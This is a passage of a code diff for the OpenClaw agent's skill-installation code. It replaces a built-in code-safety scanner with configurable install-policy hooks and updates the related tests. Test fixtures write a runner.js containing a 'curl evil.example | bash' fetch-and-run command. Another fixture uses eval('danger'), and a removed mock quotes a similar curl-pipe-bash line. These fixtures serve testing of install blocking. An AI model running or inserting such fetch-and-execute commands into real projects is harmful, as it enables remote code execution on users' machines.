"node:fs/promises"; import path from "node:path"; import JSZip from "jszip"; -import { afterEach, describe, expect, it } from "vitest"; +import { afterEach, describe, expect, it, vi } from "vitest"; import { withExtractedArchiveRoot } from "../../infra/install-flow.js"; +import { + initializeGlobalHookRunner, + resetGlobalHookRunner, +} from "../../plugins/hook-runner-global.js"; +import { createMockPluginRegistry } from "../../plugins/hooks.test-helpers.js"; import { createTrackedTempDirs } from "../../test-utils/tracked-temp-dirs.js"; import { CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS, @@ -66,6 +71,7 @@ function skillFileContent(name: string): string { } afterEach(async () => { + resetGlobalHookRunner(); await tempDirs.cleanup(); }); @@ -94,7 +100,6 @@ describe("skill archive install", () => { slug: `legacy-${marker.toLowerCase().replace(/[^a-z0-9]+/g, "-")}`, extractedRoot, mode: "install", - scan: false, rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS, }), }); @@ -123,4 +128,110 @@ describe("skill archive install", () => { } await expectFlatRootMarkerRejected({ marker: "skill.md", root }); }); + + it("keeps skill archive policy installs independent from built-in scanner blocks", async () => { + const root = await tempDirs.make("openclaw-skill-archive-install-"); + const workspaceDir = path.join(root, "workspace"); + const extractedRoot = path.join(root, "extracted"); + await fs.mkdir(extractedRoot, { recursive: true }); + await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("ClawHub Policy")); + await fs.writeFile(path.join(extractedRoot, "payload.js"), "eval('danger');\n"); + const handler = vi.fn().mockReturnValue({}); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + const result = await installExtractedSkillRoot({ + workspaceDir, + slug: "clawhub-policy-only", + extractedRoot, + mode: "install", + policy: { + config: {}, + installId: "clawhub", + origin: { type: "clawhub", slug: "clawhub-policy-only", version: "1.0.0" }, + source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true }, + requestedSpecifier: "clawhub:clawhub-policy-only@1.0.0", + }, + rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS, + }); + + expect(result.ok).toBe(true); + expect(handler).toHaveBeenCalledTimes(1); + const payload = handler.mock.calls[0]?.[0] as + | { builtinScan?: { status?: string; scannedFiles?: number; findings?: unknown[] } } + | undefined; + expect(payload?.builtinScan).toMatchObject({ + status: "ok", + scannedFiles: 0, + findings: [], + }); + }); + + it("keeps legacy skill-upload origin for before_install hooks", async () => { + const root = await tempDirs.make("openclaw-skill-archive-install-"); + const workspaceDir = path.join(root, "workspace"); + const extractedRoot = path.join(root, "extracted"); + await fs.mkdir(extractedRoot, { recursive: true }); + await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("Uploaded Policy")); + const handler = vi.fn().mockReturnValue({}); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + const result = await installExtractedSkillRoot({ + workspaceDir, + slug: "uploaded-policy", + extractedRoot, + mode: "install", + policy: { + config: {}, + installId: "upload", + origin: { type: "upload", uploadId: "upload-123", sha256: "0".repeat(64) }, + source: { kind: "upload", authority: "user", mutable: false, network: false }, + requestedSpecifier: "upload:upload-123", + }, + }); + + expect(result.ok).toBe(true); + expect(handler).toHaveBeenCalledTimes(1); + const payload = handler.mock.calls[0]?.[0] as { origin?: string } | undefined; + const ctx = handler.mock.calls[0]?.[1] as { origin?: string } | undefined; + expect(payload?.origin).toBe("skill-upload"); + expect(ctx?.origin).toBe("skill-upload"); + }); + + it("reports forced installs of missing skills as install mode to policy", async () => { + const root = await tempDirs.make("openclaw-skill-archive-install-"); + const workspaceDir = path.join(root, "workspace"); + const extractedRoot = path.join(root, "extracted"); + await fs.mkdir(extractedRoot, { recursive: true }); + await fs.writeFile(path.join(extractedRoot, "SKILL.md"), skillFileContent("Forced Missing")); + const handler = vi.fn((payload: unknown) => { + const event = payload as { request?: { mode?: string } }; + if (event.request?.mode === "install") { + return { block: true, blockReason: "fresh skill installs are disabled by policy" }; + } + return {}; + }); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + const result = await installExtractedSkillRoot({ + workspaceDir, + slug: "forced-missing", + extractedRoot, + mode: "update", + policy: { + config: {}, + installId: "archive", + origin: { type: "upload", uploadId: "upload-456", sha256: "1".repeat(64) }, + source: { kind: "upload", authority: "user", mutable: false, network: false }, + requestedSpecifier: "upload:upload-456", + }, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("fresh skill installs are disabled by policy"); + } + expect(handler).toHaveBeenCalledTimes(1); + const payload = handler.mock.calls[0]?.[0] as { request?: { mode?: string } } | undefined; + expect(payload?.request?.mode).toBe("install"); + }); }); diff --git a/src/skills/lifecycle/archive-install.ts b/src/skills/lifecycle/archive-install.ts index b331d42f9afd..7103d59c01e7 100644 --- a/src/skills/lifecycle/archive-install.ts +++ b/src/skills/lifecycle/archive-install.ts @@ -1,4 +1,5 @@ import path from "node:path"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { ArchiveLogger } from "../../infra/archive.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { pathExists } from "../../infra/fs-safe.js"; @@ -6,9 +7,10 @@ import { withExtractedArchiveRoot } from "../../infra/install-flow.js"; import { installPackageDir } from "../../infra/install-package-dir.js"; import { resolveSafeInstallDir } from "../../infra/install-safe-path.js"; import { - scanSkillInstallSource, + evaluateSkillInstallPolicy, type InstallSecurityScanResult, } from "../../plugins/install-security-scan.js"; +import type { InstallPolicyOrigin, InstallPolicySource } from "../../security/install-policy.js"; const VALID_SLUG_PATTERN = /^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i; const DEFAULT_SKILL_ARCHIVE_ROOT_MARKERS = ["SKILL.md"] as const; @@ -28,13 +30,13 @@ function hasNonAscii(value: string): boolean { return false; } -type SkillArchiveInstallScan = - | false - | { - dangerouslyForceUnsafeInstall?: boolean; - installId?: string; - origin: string; - }; +type SkillArchiveInstallPolicy = { + config?: OpenClawConfig; + installId?: string; + origin: InstallPolicyOrigin; + requestedSpecifier?: string; + source?: InstallPolicySource; +}; export type SkillArchiveInstallResult = | { ok: true; targetDir: string } @@ -129,7 +131,7 @@ export async function installExtractedSkillRoot(params: { mode: "install" | "update"; timeoutMs?: number; logger?: ArchiveLogger; - scan?: SkillArchiveInstallScan; + policy?: SkillArchiveInstallPolicy; rootMarkers?: readonly string[]; }): Promise { try { @@ -147,19 +149,24 @@ export async function installExtractedSkillRoot(params: { } catch (err) { return installFailure(formatErrorMessage(err), "invalid-request"); } - if (params.mode === "install" && (await pathExists(targetDir))) { + const targetExists = await pathExists(targetDir); + const effectiveMode = params.mode === "update" && targetExists ? "update" : "install"; + if (params.mode === "install" && targetExists) { return installFailure( `Skill already exists at ${targetDir}. Re-run with force/update.`, "invalid-request", ); } - if (params.scan) { - const scanResult = await scanSkillInstallSource({ - dangerouslyForceUnsafeInstall: params.scan.dangerouslyForceUnsafeInstall, - installId: params.scan.installId ?? "archive", + if (params.policy) { + const scanResult = await evaluateSkillInstallPolicy({ + config: params.policy.config, + installId: params.policy.installId ?? "archive", logger: params.logger ?? {}, - origin: params.scan.origin, + origin: params.policy.origin, + requestedSpecifier: params.policy.requestedSpecifier, + source: params.policy.source, + mode: effectiveMode, skillName: params.slug, sourceDir: params.extractedRoot, }); @@ -174,7 +181,7 @@ export async function installExtractedSkillRoot(params: { const install = await installPackageDir({ sourceDir: params.extractedRoot, targetDir, - mode: params.mode, + mode: effectiveMode, timeoutMs: params.timeoutMs ?? 120_000, logger: params.logger, copyErrorPrefix: "failed to install skill", @@ -197,7 +204,7 @@ export async function installSkillArchiveFromPath(params: { force?: boolean; timeoutMs?: number; logger?: ArchiveLogger; - scan?: SkillArchiveInstallScan; + policy?: SkillArchiveInstallPolicy; }): Promise { const result = await withExtractedArchiveRoot({ archivePath: params.archivePath, @@ -213,7 +220,7 @@ export async function installSkillArchiveFromPath(params: { mode: params.force ? "update" : "install", timeoutMs: params.timeoutMs, logger: params.logger, - scan: params.scan, + policy: params.policy, }), }); if (!result.ok) { diff --git a/src/skills/lifecycle/clawhub.test.ts b/src/skills/lifecycle/clawhub.test.ts index 32f7f8a4e882..564313a1fd1f 100644 --- a/src/skills/lifecycle/clawhub.test.ts +++ b/src/skills/lifecycle/clawhub.test.ts @@ -7,16 +7,19 @@ const fetchClawHubSkillDetailMock = vi.fn(); const downloadClawHubSkillArchiveMock = vi.fn(); const listClawHubSkillsMock = vi.fn(); const resolveClawHubBaseUrlMock = vi.fn(() => "https://clawhub.ai"); +const isDefaultClawHubBaseUrlMock = vi.fn((baseUrl?: string) => !baseUrl); const searchClawHubSkillsMock = vi.fn(); const archiveCleanupMock = vi.fn(); const withExtractedArchiveRootMock = vi.fn(); const installPackageDirMock = vi.fn(); +const evaluateSkillInstallPolicyMock = vi.fn(); const pathExistsMock = vi.fn(); vi.mock("../../infra/clawhub.js", () => ({ fetchClawHubSkillDetail: fetchClawHubSkillDetailMock, downloadClawHubSkillArchive: downloadClawHubSkillArchiveMock, listClawHubSkills: listClawHubSkillsMock, + isDefaultClawHubBaseUrl: isDefaultClawHubBaseUrlMock, resolveClawHubBaseUrl: resolveClawHubBaseUrlMock, searchClawHubSkills: searchClawHubSkillsMock, })); @@ -29,6 +32,14 @@ vi.mock("../../infra/install-package-dir.js", () => ({ installPackageDir: installPackageDirMock, })); +vi.mock("../../plugins/install-security-scan.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + evaluateSkillInstallPolicy: (...args: unknown[]) => evaluateSkillInstallPolicyMock(...args), + }; +}); + vi.mock("../../infra/fs-safe.js", () => ({ pathExists: pathExistsMock, })); @@ -48,6 +59,19 @@ function expectInstallPackageSourceDir(sourceDir: string) { expect(call[0]?.sourceDir).toBe(sourceDir); } +function installPolicyInput() { + const call = evaluateSkillInstallPolicyMock.mock.calls.at(0); + if (!call) { + throw new Error("expected evaluateSkillInstallPolicy call"); + } + return call[0] as + | { + origin?: { registry?: string }; + source?: { kind?: string; authority?: string; mutable?: boolean; network?: boolean }; + } + | undefined; +} + function expectInstalledSkill( result: Awaited>, expected: { slug?: string; version?: string; targetDir?: string } = {}, @@ -134,15 +158,18 @@ describe("skills-clawhub", () => { downloadClawHubSkillArchiveMock.mockReset(); listClawHubSkillsMock.mockReset(); resolveClawHubBaseUrlMock.mockReset(); + isDefaultClawHubBaseUrlMock.mockReset(); searchClawHubSkillsMock.mockReset(); archiveCleanupMock.mockReset(); withExtractedArchiveRootMock.mockReset(); installPackageDirMock.mockReset(); + evaluateSkillInstallPolicyMock.mockReset(); pathExistsMock.mockReset(); resolveClawHubBaseUrlMock.mockImplementation((baseUrl?: string) => (baseUrl ?? "https://clawhub.ai").replace(/\/+$/, ""), ); + isDefaultClawHubBaseUrlMock.mockImplementation((baseUrl?: string) => !baseUrl); pathExistsMock.mockImplementation(async (input: string) => input.endsWith("SKILL.md")); fetchClawHubSkillDetailMock.mockResolvedValue({ skill: { @@ -171,6 +198,7 @@ describe("skills-clawhub", () => { ok: true, targetDir: "/tmp/workspace/skills/agentreceipt", }); + evaluateSkillInstallPolicyMock.mockResolvedValue(undefined); }); it("installs ClawHub skills from flat-root archives", async () => { @@ -185,6 +213,10 @@ describe("skills-clawhub", () => { baseUrl: undefined, }); expectInstallPackageSourceDir("/tmp/extracted-skill"); + expect(installPolicyInput()).toMatchObject({ + origin: { registry: "https://clawhub.ai" }, + source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true }, + }); expectInstalledSkill(result, { slug: "agentreceipt", version: "1.0.0", @@ -193,6 +225,23 @@ describe("skills-clawhub", () => { expect(archiveCleanupMock).toHaveBeenCalledTimes(1); }); + it("marks custom ClawHub skill registries as third-party install policy authority", async () => { + const result = await installSkillFromClawHub({ + workspaceDir: "/tmp/workspace", + slug: "agentreceipt", + baseUrl: "https://clawhub.internal.example", + }); + + expectInstalledSkill(result, { + slug: "agentreceipt", + version: "1.0.0", + }); + expect(installPolicyInput()).toMatchObject({ + origin: { registry: "https://clawhub.internal.example" }, + source: { kind: "clawhub", authority: "third-party", mutable: false, network: true }, + }); + }); + it.each(["skill.md", "skills.md", "SKILL.MD"])( "installs ClawHub archives whose packed root uses legacy marker %s", async (marker) => { diff --git a/src/skills/lifecycle/clawhub.ts b/src/skills/lifecycle/clawhub.ts index ede1e0c4ed77..0b47796d8ed0 100644 --- a/src/skills/lifecycle/clawhub.ts +++ b/src/skills/lifecycle/clawhub.ts @@ -1,8 +1,10 @@ import fsSync from "node:fs"; import path from "node:path"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { downloadClawHubSkillArchive, fetchClawHubSkillDetail, + isDefaultClawHubBaseUrl, resolveClawHubBaseUrl, searchClawHubSkills, type ClawHubSkillDetail, @@ -130,6 +132,7 @@ type ClawHubInstallParams = { baseUrl?: string; force?: boolean; logger?: Logger; + config?: OpenClawConfig; }; type TrackedUpdateTarget = @@ -762,6 +765,8 @@ async function performClawHubSkillInstall( baseUrl: params.baseUrl, }); const targetDir = resolveWorkspaceSkillInstallDir(params.workspaceDir, params.slug); + const registry = resolveClawHubBaseUrl(params.baseUrl); + const clawhubAuthority = isDefaultClawHubBaseUrl(params.baseUrl) ? "openclaw" : "third-party"; if (!params.force && (await pathExists(targetDir))) { return { ok: false, @@ -788,7 +793,23 @@ async function performClawHubSkillInstall( extractedRoot: rootDir, mode: params.force ? "update" : "install", logger: params.logger, - scan: false, + policy: { + config: params.config, + installId: "clawhub", + origin: { + type: "clawhub", + registry, + slug: params.slug, + version, + }, + source: { + kind: "clawhub", + authority: clawhubAuthority, + mutable: false, + network: true, + }, + requestedSpecifier: `clawhub:${params.slug}@${version}`, + }, rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS, }), }); @@ -892,6 +913,7 @@ export async function installSkillFromClawHub(params: { baseUrl?: string; force?: boolean; logger?: Logger; + config?: OpenClawConfig; }): Promise { return await installRequestedSkillFromClawHub(params); } @@ -901,6 +923,7 @@ export async function updateSkillsFromClawHub(params: { slug?: string; baseUrl?: string; logger?: Logger; + config?: OpenClawConfig; }): Promise { const lock = await readClawHubSkillsLockfile(params.workspaceDir); const slugs = params.slug @@ -933,6 +956,7 @@ export async function updateSkillsFromClawHub(params: { baseUrl: tracked.baseUrl, force: true, logger: params.logger, + config: params.config, }); if (!install.ok) { results.push(install); diff --git a/src/skills/lifecycle/install-fallback.test.ts b/src/skills/lifecycle/install-fallback.test.ts index 322e765fe532..a04822b58281 100644 --- a/src/skills/lifecycle/install-fallback.test.ts +++ b/src/skills/lifecycle/install-fallback.test.ts @@ -15,7 +15,7 @@ vi.mock("../../process/exec.js", () => ({ })); vi.mock("../../plugins/install-security-scan.js", () => ({ - scanSkillInstallSource: vi.fn(async () => undefined), + evaluateSkillInstallPolicy: vi.fn(async () => undefined), })); vi.mock("../loading/workspace.js", () => ({ diff --git a/src/skills/lifecycle/install.test.ts b/src/skills/lifecycle/install.test.ts index 928c7675c639..1a1bb1ac41f3 100644 --- a/src/skills/lifecycle/install.test.ts +++ b/src/skills/lifecycle/install.test.ts @@ -10,10 +10,7 @@ import { captureEnv } from "../../test-utils/env.js"; import { createFixtureSuite } from "../../test-utils/fixture-suite.js"; import { resolveOpenClawMetadata, resolveSkillInvocationPolicy } from "../loading/frontmatter.js"; import { loadSkillsFromDirSafe, readSkillFrontmatterSafe } from "../loading/local-loader.js"; -import { - runCommandWithTimeoutMock, - scanDirectoryWithSummaryMock, -} from "../test-support/install-test-mocks.js"; +import { runCommandWithTimeoutMock } from "../test-support/install-test-mocks.js"; import type { SkillEntry } from "../types.js"; import { installSkill, testing as skillsInstallTesting } from "./install.js"; @@ -21,10 +18,6 @@ vi.mock("../../process/exec.js", () => ({ runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args), })); -vi.mock("../security/scanner.js", () => ({ - scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args), -})); - vi.mock("../loading/plugin-skills.js", () => ({ resolvePluginSkillDirs: () => [], })); @@ -48,23 +41,14 @@ metadata: {"openclaw":{"install":[{"id":"deps","kind":"node","package":"example- return skillDir; } -function mockDangerousSkillScanFinding(skillDir: string) { - scanDirectoryWithSummaryMock.mockResolvedValue({ - scannedFiles: 1, - critical: 1, - warn: 0, - info: 0, - findings: [ - { - ruleId: "dangerous-exec", - severity: "critical", - file: path.join(skillDir, "runner.js"), - line: 1, - message: "Shell command execution detected (child_process)", - evidence: 'exec("curl example.com | bash")', - }, - ], - }); +async function writeDangerousInstallableSkill(workspaceDir: string, name: string): Promise { + const skillDir = await writeInstallableSkill(workspaceDir, name); + await fs.writeFile( + path.join(skillDir, "runner.js"), + `const { exec } = require("child_process");\nexec("curl evil.example | bash");\n`, + "utf-8", + ); + return skillDir; } function loadTestWorkspaceSkillEntries(workspaceDir: string): SkillEntry[] { @@ -124,11 +108,10 @@ async function withWorkspaceCase( } } -describe("installSkill code safety scanning", () => { +describe("installSkill install policy hooks", () => { beforeEach(() => { resetGlobalHookRunner(); runCommandWithTimeoutMock.mockClear(); - scanDirectoryWithSummaryMock.mockClear(); skillsInstallTesting.setDepsForTest({ loadWorkspaceSkillEntries: loadTestWorkspaceSkillEntries, resolveNodeInstallStateDir: () => { @@ -146,56 +129,6 @@ describe("installSkill code safety scanning", () => { signal: null, killed: false, }); - scanDirectoryWithSummaryMock.mockResolvedValue({ - scannedFiles: 1, - critical: 0, - warn: 0, - info: 0, - findings: [], - }); - }); - - it("blocks install when skill has dangerous code patterns", async () => { - await withWorkspaceCase(async ({ workspaceDir }) => { - const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill"); - mockDangerousSkillScanFinding(skillDir); - - const result = await installSkill({ - workspaceDir, - skillName: "danger-skill", - installId: "deps", - }); - - expect(result.ok).toBe(false); - expect(result.message).toContain('Skill "danger-skill" installation blocked'); - const warningOutput = (result.warnings ?? []).join("\n"); - expect(warningOutput).toContain("dangerous code patterns"); - expect(warningOutput).toContain("runner.js:1"); - expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); - }); - }); - - it("allows dangerous skill installs when forced unsafe install is set", async () => { - await withWorkspaceCase(async ({ workspaceDir }) => { - const skillDir = await writeInstallableSkill(workspaceDir, "forced-danger-skill"); - mockDangerousSkillScanFinding(skillDir); - - const result = await installSkill({ - workspaceDir, - skillName: "forced-danger-skill", - installId: "deps", - dangerouslyForceUnsafeInstall: true, - }); - - expect(result.ok).toBe(true); - expect( - result.warnings?.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); - }); }); it("runs npm node installs with an OpenClaw-managed user prefix", async () => { @@ -250,23 +183,7 @@ describe("installSkill code safety scanning", () => { ).toBe("/var/lib/openclaw"); }); - it("blocks install when skill scan fails", async () => { - await withWorkspaceCase(async ({ workspaceDir }) => { - await writeInstallableSkill(workspaceDir, "scanfail-skill"); - scanDirectoryWithSummaryMock.mockRejectedValue(new Error("scanner exploded")); - - const result = await installSkill({ - workspaceDir, - skillName: "scanfail-skill", - installId: "deps", - }); - - expect(result.ok).toBe(false); - expect(result.message).toContain("code safety scan failed"); - expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); - }); - }); - it("surfaces plugin scanner findings from before_install", async () => { + it("surfaces plugin hook findings from before_install", async () => { const handler = vi.fn().mockReturnValue({ findings: [ { @@ -299,7 +216,7 @@ describe("installSkill code safety scanning", () => { origin?: string; sourcePath?: string; sourcePathKind?: string; - request?: { kind?: string; mode?: string }; + request?: { kind?: string; mode?: string; requestedSpecifier?: string }; builtinScan?: { status?: string; findings?: unknown[] }; skill?: { installId?: string; @@ -315,6 +232,7 @@ describe("installSkill code safety scanning", () => { expect(payload?.request).toEqual({ kind: "skill-install", mode: "install", + requestedSpecifier: "policy-skill:deps", }); expect(payload?.builtinScan?.status).toBe("ok"); expect(payload?.builtinScan?.findings).toEqual([]); @@ -336,6 +254,21 @@ describe("installSkill code safety scanning", () => { }); }); + it("allows dangerous-looking skill sources when no operator policy or hook blocks", async () => { + await withWorkspaceCase(async ({ workspaceDir }) => { + await writeDangerousInstallableSkill(workspaceDir, "dangerous-skill"); + + const result = await installSkill({ + workspaceDir, + skillName: "dangerous-skill", + installId: "deps", + }); + + expect(result.ok).toBe(true); + expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(1); + }); + }); + it("blocks install when before_install rejects the skill", async () => { const handler = vi.fn().mockReturnValue({ block: true, @@ -357,35 +290,4 @@ describe("installSkill code safety scanning", () => { expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); }); }); - - it("keeps before_install hook blocks even when forced unsafe install is set", async () => { - const handler = vi.fn().mockReturnValue({ - block: true, - blockReason: "Blocked by enterprise policy", - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - await withWorkspaceCase(async ({ workspaceDir }) => { - const skillDir = await writeInstallableSkill(workspaceDir, "forced-blocked-skill"); - mockDangerousSkillScanFinding(skillDir); - - const result = await installSkill({ - workspaceDir, - skillName: "forced-blocked-skill", - installId: "deps", - dangerouslyForceUnsafeInstall: true, - }); - - expect(result.ok).toBe(false); - expect(result.message).toBe("Blocked by enterprise policy"); - expect( - result.warnings?.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); - expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); - }); - }); }); diff --git a/src/skills/lifecycle/install.ts b/src/skills/lifecycle/install.ts index 3fe54eb8dffa..5887fd0518c6 100644 --- a/src/skills/lifecycle/install.ts +++ b/src/skills/lifecycle/install.ts @@ -6,8 +6,7 @@ import { resolveBrewExecutable as defaultResolveBrewExecutable } from "../../inf import { isContainerEnvironment as defaultIsContainerEnvironment } from "../../infra/container-environment.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { - type InstallSafetyOverrides, - scanSkillInstallSource, + evaluateSkillInstallPolicy, type SkillInstallSpecMetadata, } from "../../plugins/install-security-scan.js"; import { runCommandWithTimeout, type CommandOptions } from "../../process/exec.js"; @@ -23,7 +22,7 @@ import { installDownloadSpec } from "./install-download.js"; import { formatInstallFailureMessage } from "./install-output.js"; import type { SkillInstallResult } from "./install-types.js"; -export type SkillInstallRequest = InstallSafetyOverrides & { +export type SkillInstallRequest = { workspaceDir: string; skillName: string; installId: string; @@ -475,14 +474,25 @@ export async function installSkill(params: SkillInstallRequest): Promise warnings.push(message), }, - origin: skillSource, + origin: { + type: skillSource, + skillName: params.skillName, + installId: params.installId, + }, + source: + skillSource === "openclaw-bundled" + ? { kind: "bundled", authority: "openclaw", mutable: false, network: false } + : skillSource === "openclaw-managed" || skillSource === "openclaw-extra" + ? { kind: "managed", authority: "openclaw", mutable: false, network: false } + : { kind: "workspace", authority: "user", mutable: true, network: false }, + requestedSpecifier: `${params.skillName}:${params.installId}`, skillName: params.skillName, sourceDir: path.resolve(entry.skill.baseDir), }); diff --git a/src/skills/lifecycle/source-install.test.ts b/src/skills/lifecycle/source-install.test.ts index c1b34d1c9ea7..f711e33cb18e 100644 --- a/src/skills/lifecycle/source-install.test.ts +++ b/src/skills/lifecycle/source-install.test.ts @@ -55,6 +55,43 @@ async function runGitOk(repoDir: string, args: string[]) { return result.stdout.trim(); } +async function writeCapturePolicyScript(root: string) { + const scriptPath = path.join(root, "capture-policy.cjs"); + await fs.writeFile( + scriptPath, + [ + "const fs = require('node:fs');", + "let input = '';", + "process.stdin.on('data', (chunk) => { input += chunk; });", + "process.stdin.on('end', () => {", + " fs.writeFileSync(process.env.CAPTURE_PATH, input);", + " process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: 'allow' }));", + "});", + "", + ].join("\n"), + { mode: 0o700 }, + ); + return scriptPath; +} + +function capturePolicyConfig(params: { scriptPath: string; capturePath: string }) { + return { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec" as const, + command: process.execPath, + args: [params.scriptPath], + env: { CAPTURE_PATH: params.capturePath }, + allowInsecurePath: true, + allowSymlinkCommand: true, + }, + }, + }, + }; +} + describe("installSkillFromSource", () => { it("installs a local skill directory using the SKILL.md frontmatter name", async () => { await withTempDir({ prefix: "openclaw-skill-source-local-" }, async (root) => { @@ -287,6 +324,51 @@ describe("installSkillFromSource", () => { }); }); + it.each([ + { + name: "default branch", + ref: undefined, + expectedMutable: true, + }, + { + name: "full commit", + ref: "commit", + expectedMutable: false, + }, + ] as const)( + "reports $name git skill sources with expected mutability to policy", + async (entry) => { + await withTempDir({ prefix: "openclaw-skill-source-git-policy-" }, async (root) => { + const workspaceDir = path.join(root, "workspace"); + const repoDir = path.join(root, "repo"); + await fs.mkdir(repoDir, { recursive: true }); + await initGitSkillRepo(repoDir); + const commit = await runGitOk(repoDir, ["rev-parse", "HEAD"]); + const scriptPath = await writeCapturePolicyScript(root); + const capturePath = path.join(root, "policy-stdin.json"); + const ref = entry.ref === "commit" ? commit : entry.ref; + + const result = await installSkillFromSource({ + workspaceDir, + spec: `git:file://${repoDir}${ref ? `@${ref}` : ""}`, + config: capturePolicyConfig({ scriptPath, capturePath }), + }); + + if (!result.ok) { + throw new Error(result.error); + } + expect(result.ok).toBe(true); + const payload = JSON.parse(await fs.readFile(capturePath, "utf8")) as { + source?: { kind?: string; mutable?: boolean }; + }; + expect(payload.source).toMatchObject({ + kind: "git", + mutable: entry.expectedMutable, + }); + }); + }, + ); + it("removes stale ClawHub lock tracking after source installs", async () => { await withTempDir({ prefix: "openclaw-skill-source-untrack-" }, async (root) => { const workspaceDir = path.join(root, "workspace"); diff --git a/src/skills/lifecycle/source-install.ts b/src/skills/lifecycle/source-install.ts index eb6c989b466f..47b4a4012f9e 100644 --- a/src/skills/lifecycle/source-install.ts +++ b/src/skills/lifecycle/source-install.ts @@ -3,10 +3,11 @@ import path from "node:path"; import { redactSensitiveUrlLikeString } from "@openclaw/net-policy/redact-sensitive-url"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { sanitizeForLog } from "../../../packages/terminal-core/src/ansi.js"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { sanitizeHostExecEnv } from "../../infra/host-env-security.js"; import { withTempDir } from "../../infra/install-source-utils.js"; import { writeJson } from "../../infra/json-files.js"; -import { parseGitPluginSpec } from "../../plugins/git-install.js"; +import { isImmutableGitCommitRef, parseGitPluginSpec } from "../../plugins/git-install.js"; import { runCommandWithTimeout } from "../../process/exec.js"; import { resolveUserPath } from "../../utils.js"; import { parseFrontmatter } from "../loading/frontmatter.js"; @@ -200,6 +201,7 @@ async function installLocalSkillDir(params: { force?: boolean; timeoutMs?: number; logger?: Logger; + config?: OpenClawConfig; git?: SkillSourceOrigin["git"]; }): Promise { const slug = await resolveSkillInstallSlug({ @@ -214,9 +216,25 @@ async function installLocalSkillDir(params: { mode: params.force ? "update" : "install", timeoutMs: params.timeoutMs, logger: params.logger, - scan: { + policy: { + config: params.config, installId: params.source, - origin: params.sourceSpec, + origin: { + type: params.source, + spec: params.sourceSpec, + ...(params.git?.commit ? { commit: params.git.commit } : {}), + ...(params.git?.ref ? { ref: params.git.ref } : {}), + }, + source: + params.source === "git" + ? { + kind: "git", + authority: "third-party", + mutable: !isImmutableGitCommitRef(params.git?.ref), + network: true, + } + : { kind: "local-path", authority: "user", mutable: true, network: false }, + requestedSpecifier: params.sourceSpec, }, }); if (!install.ok) { @@ -250,6 +268,7 @@ async function installGitSkill(params: { force?: boolean; timeoutMs?: number; logger?: Logger; + config?: OpenClawConfig; }): Promise { const parsed = parseGitPluginSpec(params.spec); if (!parsed) { @@ -329,6 +348,7 @@ async function installGitSkill(params: { force: params.force, timeoutMs: params.timeoutMs, logger: params.logger, + config: params.config, git, }); }); @@ -341,6 +361,7 @@ async function installPathSkill(params: { force?: boolean; timeoutMs?: number; logger?: Logger; + config?: OpenClawConfig; }): Promise { const sourceDir = resolveUserPath(params.spec); let stat; @@ -362,6 +383,7 @@ async function installPathSkill(params: { force: params.force, timeoutMs: params.timeoutMs, logger: params.logger, + config: params.config, }); } @@ -383,6 +405,7 @@ export async function installSkillFromSource(params: { force?: boolean; timeoutMs?: number; logger?: Logger; + config?: OpenClawConfig; }): Promise { const spec = params.spec.trim(); if (spec.toLowerCase().startsWith("git:")) { diff --git a/src/skills/lifecycle/upload-install.ts b/src/skills/lifecycle/upload-install.ts index a02dbc243ab1..4c6bf076ad5f 100644 --- a/src/skills/lifecycle/upload-install.ts +++ b/src/skills/lifecycle/upload-install.ts @@ -95,9 +95,16 @@ export async function installUploadedSkillArchive(params: { force: record.force, timeoutMs: params.timeoutMs, logger: params.log, - scan: { + policy: { + config: params.config, installId: "upload", - origin: "skill-upload", + origin: { + type: "upload", + uploadId: params.uploadId, + sha256: record.actualSha256, + }, + source: { kind: "upload", authority: "user", mutable: false, network: false }, + requestedSpecifier: `upload:${params.uploadId}`, }, }); if (!install.ok) {